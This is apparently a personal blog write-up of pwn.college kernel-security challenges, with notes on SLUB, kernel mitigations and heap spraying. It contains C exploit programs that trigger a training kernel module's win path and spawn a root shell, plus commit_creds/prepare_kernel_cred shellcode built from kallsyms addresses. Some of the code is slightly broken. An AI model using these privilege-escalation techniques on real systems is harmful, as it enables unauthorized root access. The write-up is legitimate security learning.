Linux Kernel Adventures and Exploitation

2024-10-27

Intro:

I followed a pretty simple System Security -> Kernel Security Class at pwn.college, here.

Level 1

I first did, level 1.0 which I solved in two different ways, in C and just using bash. Using bash was the simplest by just running,

echo 'PASSWORD' > /proc/pwncollege | head /proc/pwncollege

The second was running a C programming, as I’ve been trying to practice my C where ever possible, and to be honest, this would be more realistic.

#include <stdio.h>
#include <fcntl.h>
#include <string.h>

int main (void) {
    int fd;
    char c[100] = {0};
    fd = open("/proc/pwncollege", 0);
    if (fd < 0) {
        printf("Error opening kernel module.");
        perror("open()");
    }
    write(fd, "PASSWORD", strlen("PASSWORD"));
    read(fd, &c, 99);
    printf("%s\n", &c);
    close();
}

Level 2

Same thing but view output using dmesg instead.

Level 3

call win() function, by providing a valid password.

// win()
00000de1      printk(0xed0)
00000df0      return commit_creds(prepare_kernel_cred(0)) __tailcall

Which just return the cred struct with pre_kernel_cred(0), with zeros.

#include <stdio.h>
#include <fcntl.h>
#include <string.h>

int main (void) {
    int fd;
    fd = open("/proc/pwncollege", 0);
    if (fd < 0) {
        printf("Error opening kernel module.");
        perror("open()");
    }
    write(fd,"PASSWORD",strlen("PASSWORD"));
    execlp("/bin/sh","/bin/sh",0);
    close();
}

Level 4

Sane, password and command pass, but now through ioctl.

#include <stdio.h>
#include <fcntl.h>
#include <string.h>

int main (void) {
    int fd;
    char c[100] = {0};
    fd = open("/proc/pwncollege", 0);
    ioctl(fd, 0x539, "owibidryoofhkxuo");
    printf ("UID: %d", getuid());

    // flag win
    execlp("/bin/sh","/bin/sh", 0);
}

Level 5

Just place the address of win function after you get the password from RE.

#include <stdio.h>
#include <fcntl.h>
#include <string.h>

int main (void) {
    int fd;
    char c[100] = {0};
    fd = open("/proc/pwncollege", 0);
    ioctl(fd, 0x539, 0xdeadbeef);

    // ff ff ff ff c0 00 09 2d
    printf ("UID: %d", getuid());

    // flag win
    execlp("/bin/sh","/bin/sh", 0);

}

Level 6

hacker@vm:~$ sudo grep "commit_creds" /proc/kallsyms 
ffffffff81089310 T commit_creds
hacker@vm:~$ sudo grep "prepare_kernel" /proc/kallsyms 
ffffffff81089660 T prepare_kernel_cred
xor rdx, rdx;
mov rdx, 0xffffffff81089310;
call rdx;
xor rdx, rdx;
mov rdx, 0xffffffff81089660;
call rdx

asm to hex.

pwn asm -c amd64 "xor rdx, rdx;mov rdx, 0xffffffff81089310;call rdx;xor rdx, rdx;mov rdx, 0xffffffff81089660;call rdx"

Kernel Exploitation

Slab Allocators

SLUB - Unqueued slab allocator.

Cache: Highest level concept, created for a specific size. Caches holds slabs
Slabs: Contains one or more pages, and consists of slots.
Slots: Contain the object. 

Mitigations

Freelist Randomization

Randomize where the next allocation in a slab is.

Hardened Freelist

Hardended usercopy()

Doesn’t allow mistakenly copying to/from kernel in out-of-bounds access. Cache retains offset and size value for all objects.

KASLR

Randomization, similar to userland ASLR, per boot instead of per process.

Okay, but exploitation

Heap Spraying

Spray attacker object across the heap in hopes of triggering the overwrite.

msg_msg

the structure looks like the following;

struct msg_msg{
    struct  list_head m_list;
    long    m_type;
    size_t  m_ts;
    struct  msg_msgseg *next;
    void    *security;
}

pipe_buffer

pip_buff_operations

vtables

Reverse C++ code and learn about vtables.